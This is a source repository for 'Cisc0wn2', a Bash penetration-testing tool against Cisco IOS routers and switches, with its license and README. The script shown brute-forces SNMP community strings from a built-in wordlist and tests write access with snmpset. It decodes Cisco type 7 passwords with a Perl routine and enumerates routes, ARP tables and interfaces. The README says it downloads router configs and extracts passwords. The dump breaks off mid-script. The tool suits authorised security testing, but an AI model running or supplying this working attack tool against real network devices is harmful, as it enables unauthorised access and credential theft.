├── LICENSE
├── README.md
└── cisc0wn2.sh
/LICENSE:
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1 | GNU AFFERO GENERAL PUBLIC LICENSE
2 | Version 3, 19 November 2007
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587 | 15. Disclaimer of Warranty.
588 |
589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 |
598 | 16. Limitation of Liability.
599 |
600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 |
610 | 17. Interpretation of Sections 15 and 16.
611 |
612 | If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 |
619 | END OF TERMS AND CONDITIONS
620 |
621 | How to Apply These Terms to Your New Programs
622 |
623 | If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 |
627 | To do so, attach the following notices to the program. It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 |
632 |
633 | Copyright (C)
634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published by
637 | the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Cisc0wn2 - Cisco SNMP Script
2 | ============================================
3 |
4 | Cisco SNMP enumeration, brute force, config downloader and password cracking script.
5 |
6 | Tested and designed to work against Cisco IOS Switches and Routers.
7 |
8 | Complete rewrite of my original script, no longer requires Metasploit.
9 |
10 | Released under AGPL see LICENSE for more information
11 |
12 | Installing
13 | =======================
14 | git clone https://github.com/commonexploits/cisco-SNMP-enumeration.git
15 |
16 |
17 | How To Use
18 | =======================
19 | ./cisc0wn2.sh
20 |
21 | Features
22 | =======================
23 |
24 | * Checks SNMP is enabled on the route
25 | * Brute forces the SNMP Read Only and Read Write community strings (can edit which wordlist it uses in script header)
26 | * Enumerates information such as IOS version, hostname, Arp table, Routing table, interface list and IP addresses using the RO or RW community string.
27 | * If RW community was found it will then download the router config automatically.
28 | * It then searches and displays any enable or telnet passwords in clear text.
29 | * If it finds Cisco type 7 encoded enable or telnet passwords it will auto decode them.
30 | * It will display the Enable secret type 5 password hash.
31 | * Added command line features, can specify single community, list of communites in file and router IP. -h to display help.
32 | * Has a few built-in communites in the script code, if no string or list or strings supplied it will try the built in ones.
33 | * Much faster as no longer uses Metasploit, only checks RW access against RO strings found to save duplicate checks. Uses built in TFTP server.
34 |
35 | Requirements
36 | =======================
37 |
38 | * No longer requires Metasploit to function.
39 | * Requires snmpwalk and snmpset
40 |
41 | Tested Kali Linux
42 |
43 |
44 |
45 | Screen Shot
46 | =======================
47 |
48 |
49 |
50 |
51 | Change Log
52 | =======================
53 |
54 | * Version 2.0 - Complete new version with code cleanup into functions, no longer requires Metasploit. Command line switches added
55 |
--------------------------------------------------------------------------------
/cisc0wn2.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Cisc0wn2 - The Cisco SNMP 0wner.
3 | # Daniel Compton
4 | # www.commonexploits.com
5 | # contact@commexploits.com
6 | # Twitter = @commonexploits
7 | # 01/05/2015
8 | # Requires atftpd, snmpwalk, snmpset, screen - suggest Kali Linux as all installed by default
9 | # Now uses snmpwalk/snmpset for all functions, no requirement on using Metasploit. Lots of code rewrite and fixes applied.
10 |
11 | # Default SNMP Community strings to check for if not user strings supplied. If editing add in between both EOT tags, but do not remove EOT.
12 | strings() {
13 | cat <<"EOT"
14 | public
15 | private
16 | Public
17 | Private
18 | system
19 | manager
20 | cacti
21 | monitor
22 | EOT
23 | }
24 |
25 | # Text colour index
26 | RED=$(tput setaf 1)
27 | GREEN=$(tput setaf 2)
28 | YELLOW=$(tput setaf 3)
29 | BLUE=$(tput setaf 4)
30 | MAGENTA=$(tput setaf 5)
31 | CYAN=$(tput setaf 6)
32 | BRIGHT=$(tput bold)
33 | NORMAL=$(tput sgr0)
34 |
35 | # user config settings
36 | COM_PASS="strings.tmp" #ocation of snmp communities to try
37 | OPATH=$(pwd)
38 | OUTPUTDIR=$(printf "%s\n" "${OPATH}/")
39 | TFTPOUTPUTDIR="/tmp/"
40 | SNMPVER="2c" #2c or change to 1
41 | PORT="161" #default snmp port
42 |
43 | # Script begins
44 | #===============================================================================
45 | clear
46 |
47 | VERSION="2.0"
48 |
49 | banner() {
50 | tput setaf 4; tput bold sgr0; cat <<"EOT"
51 |
52 | ___ _ ___
53 | / __\(_) ___ ___ / _ \ __ __ _ __
54 | / / | |/ __| / __|| | | |\ \ /\ / /| '_ \
55 | / /___ | |\__ \| (__ | |_| | \ V V / | | | |
56 | \____/ |_||___/ \___| \___/ \_/\_/ |_| |_|
57 |
58 | EOT
59 | }
60 |
61 |
62 | #Dependency checking
63 | checkdepend() {
64 |
65 | #Check for snmpwalk
66 | which snmpwalk >/dev/null
67 | if [ $? -eq 1 ]
68 | then
69 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required snmpwalk program, install and try again${NORMAL}"
70 | exit 1
71 | fi
72 |
73 | #Check for snmpset
74 | which snmpset >/dev/null
75 | if [ $? -eq 1 ]
76 | then
77 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required snmpset program, install and try again${NORMAL}"
78 | exit 1
79 | fi
80 |
81 | #Check for screen
82 | which screen >/dev/null
83 | if [ $? -eq 1 ]
84 | then
85 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required screen program, install and try again${NORMAL}"
86 | exit 1
87 | fi
88 |
89 | #Check for atftpd
90 | which atftpd >/dev/null
91 | if [ $? -eq 1 ]
92 | then
93 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required atftpd program, install and try again${NORMAL}"
94 | exit 1
95 | fi
96 | }
97 |
98 | #clear
99 |
100 | # script starts do not alter
101 | #_________________________________________________________________________________________________________________________________________________________
102 |
103 | # Cisco OIDs used
104 | # Routing Info
105 | ROUTEOID=".1.3.6.1.2.1.4.21.1.1"
106 | ROUTDESTOID=".1.3.6.1.2.1.4.21.1.1" # Destination
107 | ROUTHOPOID=".1.3.6.1.2.1.4.21.1.7" # Next Hop
108 | ROUTMASKOID=".1.3.6.1.2.1.4.21.1.11" # Mask
109 | ROUTMETOID=".1.3.6.1.2.1.4.21.1.3" # Metric
110 | ROUTINTOID=".1.3.6.1.2.1.4.21.1.2" # Interface
111 | ROUTTYPOID=".1.3.6.1.2.1.4.21.1.8" # Route type
112 | ROUTPROTOID=".1.3.6.1.2.1.4.21.1.9" # Route protocol
113 | ROUTAGEOID=".1.3.6.1.2.1.4.21.1.10" # Route age
114 | #Interface Info
115 | INTLISTOID=".1.3.6.1.2.1.2.2.1.2" # Interfaces
116 | INTIPLISTOID=".1.3.6.1.2.1.4.20.1.1" # IP address
117 | INTIPMASKOID=".1.3.6.1.2.1.4.20.1.3" # Subnet mask
118 | INTSTATUSLISTOID=".1.3.6.1.2.1.2.2.1.8" # Status
119 | # Arp table
120 | ARPADDR=".1.3.6.1.2.1.3.1 " # Arp address
121 | WRITEOID=".1.3.6.1.2.1.1.4.0"
122 | CONTACTOID=".1.3.6.1.2.1.1.4.0"
123 | HOSTNAMEOID=".1.3.6.1.2.1.1.5.0"
124 | ARPOID=".1.3.6.1.2.1.3.1.1.2"
125 | TFTPOID=".1.3.6.1.4.1.9.2.1.55." #Cisco TFTP OID for config download
126 | STRINGSP="strings" # strings if list supplied, string if -s option used
127 |
128 | spinner()
129 | {
130 | local pid=$1
131 | local delay=0.175
132 | local spinstr='|/-\'
133 | local infotext=$2
134 | while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
135 | local temp=${spinstr#?}
136 | printf ${BRIGHT}${GREEN}"[%c]${NORMAL} %s" "$spinstr" "$infotext"
137 | local spinstr=$temp${spinstr%"$temp"}
138 | sleep $delay
139 | printf "\b\b\b\b\b\b"
140 | for i in $(seq 1 ${#infotext}); do
141 | printf "\b"
142 | done
143 | done
144 | printf " \b\b\b\b"
145 | }
146 |
147 | ipscan() {
148 | printf '\n\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------"
149 | printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the IP address of the Cisco device to scan"
150 | printf '\r%s\n\n' "${BRIGHT}${RED}----------------------------------------------------------${NORMAL}"
151 | read CISCOIP
152 | printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[-]${NORMAL}" "Just checking that SNMP is open and accessible from this system."
153 | }
154 |
155 | # If have Internet access check if Cisc0wn is the latest release
156 | compare_version() {
157 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} Checking for Internet connectivity"
158 | ping 8.8.8.8 -c 1 > /dev/null 2>&1
159 | if [ $? = 0 ]
160 | then
161 | printf '\r\n%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Internet connectivity confirmed, now checking the version."
162 | NEWVERSION=$(curl -s "http://www.commonexploits.com/tools/cisc0wn/version.txt" 2>/dev/null |cut -d "." -f 1,2)
163 | CHKVERSION=$(echo "$VERSION < $NEWVERSION"| bc)
164 | if [ $CHKVERSION -eq 1 ]
165 | then
166 | printf '\n \r%s %s\n\n' "${BRIGHT}${YELLOW}[!]${NORMAL} Your version of Cisc0wn is outdated. Please update to version ${BRIGHT}${GREEN}$NEWVERSION${NORMAL}"
167 | printf '\r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Download the latest version from ${BRIGHT}${BLUE}https://github.com/commonexploits/cisc0wn${NORMAL}"
168 | else
169 | printf '\n \r%s %s\n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Your version of Cisc0wn is the latest version ${BRIGHT}${GREEN}$NEWVERSION${NORMAL}"
170 | fi
171 | else
172 | printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} You do not seem to have an Internet connection, unable to check the version."
173 | exit 0
174 | fi
175 | }
176 |
177 | # menu options
178 | tags () {
179 | printf '\r\n%s\n\n' "${BRIGHT}${RED}[?]${NORMAL} Script flag options"
180 | printf '\r%s\n' "${BRIGHT}${BLUE}-f${NORMAL} Enter file name containing SNMP strings (1 per line)"
181 | printf '\r%s\n' "${BRIGHT}${BLUE}-s${NORMAL} Enter one single SNMP community to scan for"
182 | printf '\r%s\n' "${BRIGHT}${BLUE}-i${NORMAL} Enter IP address of device to scan"
183 | printf '\r%s\n' "${BRIGHT}${BLUE}-v${NORMAL} Version - check if latest version - Internet access required"
184 | printf '\r%s\n\n' "${BRIGHT}${BLUE}-h${NORMAL} Displays this help menu"
185 | printf '\r%s\n\n' "Default scan runs with built in SNMP Communities and prompt for IP info"
186 | }
187 |
188 |
189 | pause(){
190 | printf '\n'
191 | read -p "Press [Enter] key to continue." fackEnterKey
192 | printf '\n'
193 | }
194 |
195 |
196 |
197 |
198 | # Perl Base64 decoder
199 | perldecode() {
200 | perl <<'EOF'
201 |
202 | use Term::ANSIColor;
203 | @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
204 | 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
205 | 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );
206 |
207 |
208 |
209 | if (!(length($ENV{BASE64}) & 1)) {
210 | $ep = $ENV{BASE64};
211 | $dpassenable = "";
212 | ($s, $e) = ($ep =~ /^(..)(.+)/);
213 | for ($i = 0; $i < length($e); $i+=2){
214 | $dpassenable .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
215 | }
216 | }
217 |
218 | print color 'bold green';
219 | print "$dpassenable\n\n";
220 | print color 'reset';
221 | EOF
222 |
223 | }
224 |
225 | # nmap to check SNMP is open
226 | nmapsnmp() {
227 | NMAP=`nmap -sU -sV -p $PORT $CISCOIP 2>&1 |grep "open" | awk '{ print $2 }'`
228 | if [ "$NMAP" = "open" ]
229 | then
230 | printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "SNMP was found enabled on ${BRIGHT}${GREEN}"$CISCOIP"${NORMAL}"
231 | else
232 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "SNMP is either closed or filtered from this device. Check connectivity and try again. Script can't continue."
233 | exit 1
234 | fi
235 | }
236 |
237 | # SNMP community string checks
238 | scansnmpcom() {
239 | COMNO=$(cat "$COM_PASS" | wc -l)
240 | printf '\r\n%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now testing SNMP communities with ${BRIGHT}${GREEN}"$COMNO"${NORMAL} $STRINGSP."
241 |
242 | snmpcheckrw() {
243 | echo "$GETLOCATION" >location.tmp
244 | WRILOC=$(cat location.tmp)
245 | snmpset -v 2c -Cq -c "$COMSCAN" $CISCOIP "$WRITEOID" s "$WRILOC" 2>/dev/null
246 | if [ $? = 0 ]
247 | then
248 | printf '%s\n' " - ${BRIGHT}${RED}Read-Write${NORMAL} access"
249 | READW="$COMSCAN"
250 | else
251 | printf '%s\n' " - ${BRIGHT}${YELLOW}Read-Only${NORMAL} access"
252 | READO="$COMSCAN"
253 | fi
254 | }
255 | for COMSCAN in $(cat $COM_PASS)
256 | do
257 | snmpwalk -v 2c -c $COMSCAN $CISCOIP 2>/dev/null |head -1 |grep -i iso >/dev/null
258 | if [ $? = 0 ]
259 | then
260 | printf '\r%s %s' "${BRIGHT}${GREEN}[+]${NORMAL}" "Valid Community String was found ${BRIGHT}${GREEN}"$COMSCAN"${NORMAL}" ;snmpcheckrw
261 | GETLOCATION=$(snmpwalk -v 2c -On -c "$COMSCAN" $CISCOIP |grep "$WRITEOID" |cut -d ":" -f 2 | cut -d '"' -f 2)
262 |
263 | fi
264 | done
265 | }
266 |
267 | # show version/info
268 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}--------------------------------------------------------------------------------------- ${NORMAL}"
269 | banner
270 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE} --- Cisc0wn - The Cisco SNMP Extractor Version $VERSION --- ${NORMAL}"
271 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}-------------------------------------------------------------------------------------- ${NORMAL}"
272 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}./cisc0wn2.sh -h for help menu for command line options. ${NORMAL}"
273 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}If no options are supplied, it will run in default mode with built in SNMP strings. ${NORMAL}"
274 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}-------------------------------------------------------------------------------------- ${NORMAL}"
275 |
276 | #check dependencies
277 | checkdepend
278 |
279 | # show menu
280 |
281 | while getopts "f:s:i:vh" menu
282 | do
283 | case "${menu}" in
284 | f) filename=${OPTARG};;
285 | s) inputstring=${OPTARG};;
286 | i) inputip=${OPTARG};;
287 | v) compare_version; exit;;
288 | h) tags; exit;;
289 | *) tags; exit;;
290 | esac
291 | done
292 |
293 | if [ "$filename" ] && [ "$inputstring" ]
294 | then
295 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry you have supplied both a manual string and a file of strings, please only supply one of these options and try again!${NORMAL}"
296 | exit 1
297 |
298 | elif [ "$filename" ]
299 | then
300 | COM_PASS="$filename"
301 | cat $filename >/dev/null 2>&1
302 | if [ $? = 1 ]
303 | then
304 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry I can't read that file, check the path and try again!${NORMAL}"
305 | exit 1
306 | else
307 | READFILESTRINGS=$(cat $filename |wc -l)
308 | printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "I can read ${BRIGHT}${GREEN}"$READFILESTRINGS"${NORMAL} community strings from the input file ${BRIGHT}${GREEN}"$COM_PASS"${NORMAL}"
309 | STRINGSP="user defined strings"
310 | fi
311 | elif [ "$inputstring" ]
312 | then
313 | echo "$inputstring" > "$COM_PASS"
314 | STRINGSP="user defined string"
315 |
316 | else
317 | strings > "$COM_PASS"
318 | STRINGSP="default strings"
319 | fi
320 |
321 | if [ "$inputip" ]
322 | then
323 | CISCOIP="$inputip"
324 | else
325 | ipscan
326 | fi
327 |
328 | #check snmp is open
329 | nmapsnmp
330 | #scan for snmp communities
331 | scansnmpcom
332 |
333 | if [[ -z "$READO" && -z "$READW" ]]
334 | then
335 | printf '\r\n%s \n\n' "${BRIGHT}${RED}[!]${NORMAL} No SNMP community string matches were found. Try increasing the community strings to check for."
336 | exit 1
337 | fi
338 |
339 | if [ -z "$READO" ]
340 | then
341 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} I will use the writeable string of ${BRIGHT}${GREEN}"$READW"${NORMAL} as no read only community was found."
342 | ENUMCOM=`echo "$READW"`
343 | else
344 | ENUMCOM=`echo "$READO"`
345 | fi
346 |
347 | printf '\r\n%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "Extracting information from ${BRIGHT}${GREEN}"$CISCOIP"${NORMAL} using the community string ${BRIGHT}${GREEN}"$ENUMCOM"${NORMAL}."
348 |
349 | # IOS version Extract
350 | iossearch() {
351 | IOS=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP |grep "RELEASE SOFTWARE" | awk '{ print $0 }' |awk '{sub(/^[ \t]+/, ""); print}')
352 | if [ -n "$IOS" ]
353 | then
354 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} IOS version Obtained "
355 | printf '\r %s \n\n' "${BRIGHT}${GREEN}$IOS${NORMAL}"
356 | fi
357 | }
358 | #printf '\r%s \n\n' "${BRIGHT}${GREEN}[-]${NORMAL} Searching for IOS Version"
359 | iossearch &
360 | spinner $! "Searching for IOS Version"
361 |
362 | # CONTACT Info
363 | contactsearch() {
364 | CONTACT=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $CONTACTOID | grep iso | cut -d '"' -f 2)
365 | if [ -n "$CONTACT" ]
366 | then
367 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} SNMP Contact Obtained "
368 | printf '\r %s \n\n' "${BRIGHT}${GREEN}$CONTACT${NORMAL}"
369 | fi
370 | }
371 | contactsearch &
372 | spinner $! "Searching for IOS Version"
373 |
374 | # Device Hostname
375 | hostnamesearch() {
376 | HOSTNAME=$(snmpwalk -c $ENUMCOM -On -v$SNMPVER $CISCOIP |grep $HOSTNAMEOID |cut -d ":" -f 2 | cut -d '"' -f 2)
377 | if [ -n "$HOSTNAME" ]
378 | then
379 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Device Hostname Obtained "
380 | printf '\r %s \n\n' "${BRIGHT}${GREEN}$HOSTNAME${NORMAL}"
381 | fi
382 | }
383 | hostnamesearch &
384 | spinner $! "Searching for Device Hostname"
385 | pause
386 | clear
387 |
388 | routingsearch() {
389 | ANYROUTES=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTEOID | awk '{print $NF}' 2>&1)
390 | if [ "$ANYROUTES" = "OID" ]
391 | then
392 | printf '\n'
393 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No routing tables found, this is probably a Layer 2 device."
394 | else
395 | # routing table format headers
396 | echo "-------------------" >"$OUTPUTDIR"ROUTDEST
397 | echo "Destination" >>"$OUTPUTDIR"ROUTDEST
398 | echo "-------------------">>"$OUTPUTDIR"ROUTDEST
399 |
400 | echo "-----------------" >"$OUTPUTDIR"ROUTHOP
401 | echo "Next_Hop" >>"$OUTPUTDIR"ROUTHOP
402 | echo "-----------------">>"$OUTPUTDIR"ROUTHOP
403 |
404 | echo "---------------" >"$OUTPUTDIR"ROUTMASK
405 | echo "Mask" >>"$OUTPUTDIR"ROUTMASK
406 | echo "---------------">>"$OUTPUTDIR"ROUTMASK
407 |
408 | echo "-----------" >"$OUTPUTDIR"ROUTMET
409 | echo "Metric" >>"$OUTPUTDIR"ROUTMET
410 | echo "-----------">>"$OUTPUTDIR"ROUTMET
411 |
412 | echo "-----------" >"$OUTPUTDIR"ROUTINT
413 | echo "Interface" >>"$OUTPUTDIR"ROUTINT
414 | echo "-----------">>"$OUTPUTDIR"ROUTINT
415 |
416 | echo "-----------" >"$OUTPUTDIR"ROUTTYP
417 | echo "Type" >>"$OUTPUTDIR"ROUTTYP
418 | echo "-----------">>"$OUTPUTDIR"ROUTTYP
419 |
420 | echo "----------" >"$OUTPUTDIR"ROUTPROT
421 | echo "Protocol" >>"$OUTPUTDIR"ROUTPROT
422 | echo "----------">>"$OUTPUTDIR"ROUTPROT
423 |
424 | echo "--------" >"$OUTPUTDIR"ROUTAGE
425 | echo "Age" >>"$OUTPUTDIR"ROUTAGE
426 | echo "--------">>"$OUTPUTDIR"ROUTAGE
427 |
428 | #snmp walk the routing table OIDs into temp files
429 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTDESTOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTDEST
430 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTHOPOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTHOP
431 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTMASKOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTMASK
432 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTMETOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTMET
433 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTINTOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTINT
434 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTTYPOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTTYP
435 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTPROTOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTPROT
436 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTAGEOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTAGE
437 |
438 | paste "$OUTPUTDIR"ROUTDEST "$OUTPUTDIR"ROUTHOP "$OUTPUTDIR"ROUTMASK "$OUTPUTDIR"ROUTMET "$OUTPUTDIR"ROUTINT "$OUTPUTDIR"ROUTTYP "$OUTPUTDIR"ROUTPROT "$OUTPUTDIR"ROUTAGE |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-routes.txt
439 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Routing Tables Extracted "
440 | cat "$OUTPUTDIR$CISCOIP"-routes.txt
441 | printf '\n'
442 | #remove temp files
443 | rm "$OUTPUTDIR"ROUT* 2>&1 >/dev/null
444 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The routing table has also been saved to the following location ${BRIGHT}${BLUE}$OUTPUTDIR$CISCOIP-routes.txt${NORMAL}"
445 | fi
446 |
447 | }
448 | printf '\n'
449 | routingsearch &
450 | spinner $! "Searching for Routing Tables"
451 |
452 | arpsearch () {
453 | # arp table walk
454 | ARPIPADDRESSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ARPOID | cut -d ':' -f 1 |cut -d "." -f 13,14,15,16 |awk '{print $1}' 2>&1)
455 | ARPMACADDRESSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ARPOID | cut -d ':' -f 2 |awk '{sub(/^[ \t]+/, ""); print}' |cut -d ':' -f 1 |tr ' ' ':' |sed 's/:$//' 2>&1)
456 | if [ -n "$ARPIPADDRESSCHECK" ] && [ -n "$ARPMACADDRESSCHECK" ]
457 | then
458 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} ARP Table Obtained "
459 | # Arp table headers
460 | echo "------------------" >"$OUTPUTDIR"ARPADDRESS
461 | echo "IP_Address " >>"$OUTPUTDIR"ARPADDRESS
462 | echo "------------------" >>"$OUTPUTDIR"ARPADDRESS
463 | echo "$ARPIPADDRESSCHECK" >>"$OUTPUTDIR"ARPADDRESS
464 | echo "-------------------------" >"$OUTPUTDIR"ARPDARDWARE
465 | echo "Physical_Address " >>"$OUTPUTDIR"ARPDARDWARE
466 | echo "-------------------------" >>"$OUTPUTDIR"ARPDARDWARE
467 | echo "$ARPMACADDRESSCHECK" >>"$OUTPUTDIR"ARPDARDWARE
468 | paste "$OUTPUTDIR"ARPADDRESS "$OUTPUTDIR"ARPDARDWARE |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-arptable.txt
469 | cat "$OUTPUTDIR$CISCOIP"-arptable.txt
470 | #remove temp files
471 | rm "$OUTPUTDIR"ARP* 2>&1 >/dev/null
472 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The arp table has also been saved to the following location ${BRIGHT}${BLUE}$OUTPUTDIR$CISCOIP-arptable.txt${NORMAL}"
473 | fi
474 | }
475 |
476 | arpsearch &
477 | spinner $! "Searching for ARP Tables"
478 |
479 | interfacesearch() {
480 | #snmp walk the interface OIDs into temp files
481 | INTERFACELISTCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTLISTOID | awk '{print $NF}'|cut -d '"' -f 2 2>&1)
482 | INTERFACESTATUSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTSTATUSLISTOID | awk '{print $NF}' |sed -e "s/1/Up/g" |sed -e "s/[2-9]/Down/g" 2>&1)
483 | if [ -n "$INTERFACELISTCHECK" ]
484 | then
485 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Interface List Obtained "
486 | # Interface header info
487 | echo "-------------------" >"$OUTPUTDIR"INTLIST
488 | echo "Interface" >>"$OUTPUTDIR"INTLIST
489 | echo "-------------------">>"$OUTPUTDIR"INTLIST
490 | echo "$INTERFACELISTCHECK" >>"$OUTPUTDIR"INTLIST
491 | echo "-----------" >"$OUTPUTDIR"INTSTATUSLIST
492 | echo "Status" >>"$OUTPUTDIR"INTSTATUSLIST
493 | echo "-----------">>"$OUTPUTDIR"INTSTATUSLIST
494 | echo "$INTERFACESTATUSCHECK" >>"$OUTPUTDIR"INTSTATUSLIST
495 | paste "$OUTPUTDIR"INTLIST "$OUTPUTDIR"INTSTATUSLIST |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-interfaces.txt
496 | cat "$OUTPUTDIR$CISCOIP"-interfaces.txt
497 | printf '\n'
498 | #remove temp files
499 | rm "$OUTPUTDIR"INT* 2>&1 >/dev/null
500 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The interface list has also been saved to the following location ${BRIGHT}${BLUE}"$OUTPUTDIR$CISCOIP"-interfaces.txt${NORMAL}"
501 | fi
502 | }
503 |
504 | interfacesearch &
505 | spinner $! "Searching for Interface information"
506 |
507 | ipaddresssearch () {
508 | #snmp walk the IP Addresses OIDs into temp files
